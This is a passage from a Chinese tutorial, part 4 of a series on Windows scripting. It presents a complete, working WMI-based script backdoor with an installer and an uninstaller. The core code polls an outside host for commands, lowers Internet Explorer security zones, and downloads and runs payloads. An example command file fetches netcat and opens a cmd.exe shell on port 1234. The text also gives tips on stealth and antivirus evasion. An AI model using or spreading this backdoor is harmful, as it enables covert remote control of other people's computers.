深入挖掘Windows脚本技术4
取消调试语句的注释,上面这段核心代码就可以直接运行。它将试图从myweb.8866.org上获取cmd.txt,根据里面的内容进一步行动。cmd.txt看起来像这样:exe //被执行的文件类型,可以是'vbs、:bat、exe或'wshhttp://myweb.8866.org/nc.exe //被执行的文件的下载url4000 //下载超时时间,单位毫秒%windir%\system32\nc.exe //文件的保存位置,支持环境变量-L -p 1234 -e cmd.exe //命令行参数
收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。
如果第一行的文件类型为'vbs、'wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如:
:batnet start telnet :启动telnet服务del %0 :自删除
如果只是想让某台主机执行命令,可以这样:
:batipconfig | find "123.45.67.89" && net start telnetdel %0
这样就只有ip地址为123.45.67.89的主机才会启动telnet。
'wsh和'vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。使用'vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。
下面的'vbs命令文件把"本地帐户的共享和安全模式"由"仅来宾"改为"经典"(对XP和2003有效):
'vbsshl.regwrite "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0,"REG_DWORD"
注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。使用'vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用'wsh。
将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意"if"和"end if"配对以及去掉续行符。完整的安装脚本代码如下:
'***以下为参数配置,请根据情况自行修改***'nslink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名字空间'doorname="vbscript_backdoor" '记住后门的名字,卸载时需要'runinterval=86400000 '每天运行一次'cmdu="http://myweb.8866.org/cmd.txt"; '命令文件的位置'cmdw=4000 '文件下载超时时间'cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名''***参数配置结束***'
createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD"
'脚本后门核心代码'stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""":on error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone&""\1201"":set2=zone&""\1400"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"
'配置事件消费者'set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_asec.name=doorname&"_consumer"asec.scriptingengine="vbscript"asec.scripttext=stxtset asecpath=asec.put_
'配置计时器'set itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_itimer.timerid=doorname&"_itimer"itimer.intervalbetweenevents=runintervalitimer.skipifpassed=falseitimer.put_
'配置事件过滤器'set evtflt=getobject(nslink&"__EventFilter").spawninstance_evtflt.name=doorname&"_filter"evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""evtflt.querylanguage="wql"set fltpath=evtflt.put_
'绑定消费者和过滤器'set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_fcbnd.consumer=asecpath.pathfcbnd.filter=fltpath.pathfcbnd.put_
wscript.echo "安装完成"
与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了。
卸载脚本后门:
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength"createobject("WScript.Shell").regdelete cmdl '删除保存命令长度的键值'nslink="winmgmts:\\.\root\cimv2:"doorname="vbscript_backdoor" '根据脚本后门的名字找到各个对象实例'myconsumer=doorname&"_consumer"mytimer=doorname&"_itimer"myfilter=doorname&"_filter"set binds=getobject(nslink&"__FilterToConsumerBinding").instances_for each bind in binds if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _ and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then bind.delete_ exit for end ifnextgetobject(nslink&"ActiveScriptEventConsumer.Name="""&myconsumer&"""").delete_getobject(nslink&"__IntervalTimerInstruction.TimerId="""&mytimer&"""").delete_getobject(nslink&"__EventFilter.Name="""&myfilter&"""").delete_wscript.echo "卸载完成"
几点补充说明:1,脚本后门的优势在于隐蔽,所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会,下次启动时会补上的。
2,为了更好的反查杀,可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度,只不过服务端是Web服务器,不能同时养太多的马。
3,脚本后门的自启动和运行依赖于WMI服务,虽然禁用WMI服务就可以杜绝此类后门和木马,但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用,恐怕会很麻烦吧。
【结语】Windows脚本就像万能胶,能够把独立的程序、服务、控件组合起来完成任务。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的命令行工具,WMI也大大加强了,脚本的功能水涨船高,可以说是“只有想不到,没有做不到”。一切有待你的发掘。
最后,感谢你耐心看完本文,希望本文可以为你学习Windows脚本提供一些帮助。
- 联系我们: QQ:82526114(技术) 411523648(客服) 237057746(财务)
- 电话:+86-762-4372098 邮箱:webmaster@814e.net,support@814e.net
- 粤ICP备05002242号 网监局备案:4403701910502
